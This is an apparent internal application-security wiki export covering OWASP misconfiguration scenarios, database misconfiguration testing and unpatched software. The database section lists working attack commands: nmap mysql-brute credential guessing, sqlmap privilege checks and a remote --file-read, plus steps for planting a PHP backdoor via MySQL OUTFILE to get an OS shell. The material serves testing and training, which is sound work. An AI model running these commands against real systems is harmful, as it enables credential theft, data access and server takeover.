\* The server does not send security headers or directives or they are not set to secure values.  
\* The software is out of date or vulnerable (see A9:2017-Using Components with Known Vulnerabilities).  
Without a concerted, repeatable application security configuration process, systems are at a higher risk.  
How to Prevent:  
Secure installation processes should be implemented, including:  
\* A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.  
\* A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.  
\* A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see A9:2017-Using Components with Known Vulnerabilities). In particular, review cloud storage permissions (e.g. S3 bucket permissions).  
\* A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).  
\* Sending security directives to clients, e.g. Security Headers.  
\* An automated process to verify the effectiveness of the configurations and settings in all environments.  
Example Attack Scenarios:  
Scenario #1:  
The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren’t changed the attacker logs in with default passwords and takes over.

Scenario #2:  
Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.

Scenario #3:  
The application server’s configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.

Scenario #4:  
A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.  
Reference Links:  
• <https://hdivsecurity.com/owasp-security-misconfiguration>.  
• <https://www.tutorialspoint.com/security_testing/testing_security_misconfiguration.htm>  
• <https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration>

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Database+configuration#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417897)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Database+configuration#page-metadata-start)

Note: This document needs to be reviewed by team

**Database Security and It’s importance:**

ADP collects the sensitive information like employee/vendor credit card details, Email id’s, phone numbers and addresses etc. This information needs to Safeguarded against unauthorized access and malicious attacks. This can be achieved by enforcing Encryption, Authorization and access control. Effective internal control and separation of duties is required in the database to ensure compliance with regulations such as Sarbanes-Oxley (SOX), Payment Card Industry (PCI) Data Security Standard, European Data Protection Directive (95/46 / EC) or the Health Insurance Portability and Accountability Act (HIPAA) etc. Providing this compliance is a legal requirement for ADP as we’re collecting sensitive data.

As the value and volume of data grows within an organization, perimeter security is not enough to battle internal/external threats, as most of the attacks are launched by insiders. Even though the OS and the network are properly secured, databases still could be Misconfigured. Below are the different types of attacks that can be launched against databases as a result of various misconfigurations.

1. **Default and Weak usernames/passwords:**

Let’s take an example where an ADP web server returns a database connection error that reveal the MySQL username used by the web application. An attacker/insider could use this information to perform brute force password auditing attack and obtain access to sensitive information like PII pertaining to ADP customers and vendors.

**Exploitation Steps:**

1. Create a nmap scan profile by using **mysql-brute** script to perform brute force auditing.

**$ nmap -p3306 --script mysql-brute <target>**

1. Nmap will launch dictionary attack by using mysql-brute script to find valid credentials.
2. In case if valid credentials are found, they will be included in the mysql-brute output section.

   3306/tcp open  mysql

   | mysql-brute:

   |   root:<empty> => Valid credentials

   |\_  test:test => Valid credentials

1. Use mysql-empty-password.nse script to check whether system admin has mistakenly left the root account of a MySQL server with no password.

**Note:**

Above exploitation steps are written based on an assumption that test web application is leveraging MySQL database at backend. Similar kind of steps need to be followed for oracle and postgres as well. (This attack will only work if 3306 port is allowed on firewall)

1. **Excessive User privileges:**

To illustrate this vulnerability let’s consider an ADP HR application which is having a search functionality that is vulnerable to SQLi. Run SQL map to initially confirm the SQL injection vulnerability. Then follow the below exploitation steps to perform file read write operations.

**Exploitation Steps:**

1. Verify the current user privilege by using –privileges flag.

**# sqlmap -r search.req --current-user**

**# sqlmap -r search.req --privileges**

1. In case if FILE privileges are assigned to the current user, then we can leverage that ability to read/write files (depending on any file system restrictions).
2. The **sqlmap --file-read=** parameter can be used to read and download files from the target file system. The following command downloads the Windows host’s file.

**# sqlmap -r search.req –privileges --file-read="C:\\windows\\system32\\drivers\\etc\\hosts"**

Note:

              This attack is possible on MySQL only if **secure-file-priv** value is set to NULL. i.e. not configured properly.

1. **Detecting insecure configurations:**

Use the Nmap mysql-audit.nse script to checks for insecure configurations in MySQL server.

**$ nmap -p3306 --script mysql-audit --script-args 'mysql-audit.username="<username>",mysql-audit.password="<password>",mysql-audit.filename=/usr/local/share/nmap/nselib/data/mysql-cis.audit' <target>**

**Sample O/P:**

 PORT     STATE SERVICE

   3306/tcp open  mysql

   | mysql-audit:

   |   CIS MySQL Benchmarks v1.0.2

   |       3.1: Skip symbolic links => PASS

   |       3.2: Logs not on system partition => PASS

   |       3.2: Logs not on database partition => PASS

   |       4.1: Supported version of MySQL => REVIEW

   |         Version: 5.1.41-3ubuntu12.10

   |       4.4: Remove test database => PASS

   |       4.5: Change admin account name => FAIL

   |       4.7: Verify Secure Password Hashes => PASS

   |       4.9: Wildcards in user hostname => PASS

   |       4.10: No blank passwords => PASS

   |       4.11: Anonymous account => PASS

   |       5.1: Access to mysql database => REVIEW

   |         Verify the following users that have access to the MySQL

             database

   |           user              host

   |           root              localhost

   |           root              builder64

   |           root              127.0.0.1

   |           debian-sys-maint  localhost

   |       5.2: Do not grant FILE privileges to non Admin users => PASS

   |       5.3: Do not grant PROCESS privileges to non Admin users =>    PASS

   |       5.4: Do not grant SUPER privileges to non Admin users =>   PASS

   |       5.5: Do not grant SHUTDOWN privileges to non Admin users =>  PASS

   |       5.6: Do not grant CREATE USER privileges to non Admin users         => PASS

   |       5.7: Do not grant RELOAD privileges to non Admin users =>        PASS

   |       5.8: Do not grant GRANT privileges to non Admin users =>       PASS

   |       6.2: Disable Load data local => FAIL

   |       6.3: Disable old password hashing => PASS

   |       6.4: Safe show database => FAIL

   |       6.5: Secure auth => FAIL

   |       6.6: Grant tables => FAIL

   |       6.7: Skip merge => FAIL

   |       6.8: Skip networking => FAIL

   |       6.9: Safe user create => FAIL

   |       6.10: Skip symbolic links => FAIL

   |

   |\_      The audit was performed using the db-account: root

1. **Spawning OS Shell Via database misconfiguration:**

Let’s consider an ADP test application that is leveraging MySQL DB at the backend and is vulnerable to SQLi.  We will be using MySQL OUTFILE function for creating php backdoor on the server to obtain the reverse shell of the victim.

**Note:**

--OS-Shell option in SQL map can be used to create a backdoor on the webserver by using MySQL OUTFILE function.

**Exploitation Steps:**

1. Enumerate database name by using sqlmap with the help of SQL injection.

**Note:**

Here –r option uses to analyse HTTP request from sqli.txt file.

1. Try creating a php backdoor inside the webserver by using mysql OUTFILE function to spawn the command shell.
2. Once the file is uploaded on to the webserver, it will send INFO “the file stager has been successfully uploaded on /var/www/html/bwapp” and will spawn the os-shell of victim pc.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Unpatched+software#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1759712965)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Unpatched+software#page-metadata-start)

**What is Unpatched Software?**

Unpatched software means there are vulnerabilities in a program or code that a company is aware of and will not or cannot fix. Unpatched vulnerabilities allow attackers to run a malicious code by leveraging a known security bug that has not been patched. The adversary will try to probe your environment looking for unpatched systems, and then attack them directly or indirectly.

**What is Security Patching?**

A security patch is a modification applied to remediate a vulnerability in the given asset. This modification is applied to prevent successful exploitation by removing or mitigating a threat vectors’ ability to exploit a given vulnerability found in an asset.

**How dangerous are unpatched software vulnerabilities?**

Unpatched software is an open door to malware, just like unused software is. If you don’t keep your software up-to-date with fixes, hackers will abuse the outdated versions to infiltrate system.

**Test Scenarios:**

1. Observe the application http request and response.
2. Check Application error messages.
3. Burp scanner can detect third party javascript libraries.
4. Application team can provide software versions.

**Remediation Suggestions:**

Upgrade to the latest stable version of software. Also, make sure that up-to-date patches related to security fixes are being installed whenever released.

**Tools:** Burp Suite scanner.

**Reporting Details:**

**Finding Description:** The application uses old, obsolete or unpatched version of software.Using obsolete versions may introduce new security issues.

**Finding Rating:**

Impact and likelihood depends on unpatched software vulnerabilities.

Reference Link: CVE

<https://cve.mitre.org/cve/search_cve_list.html>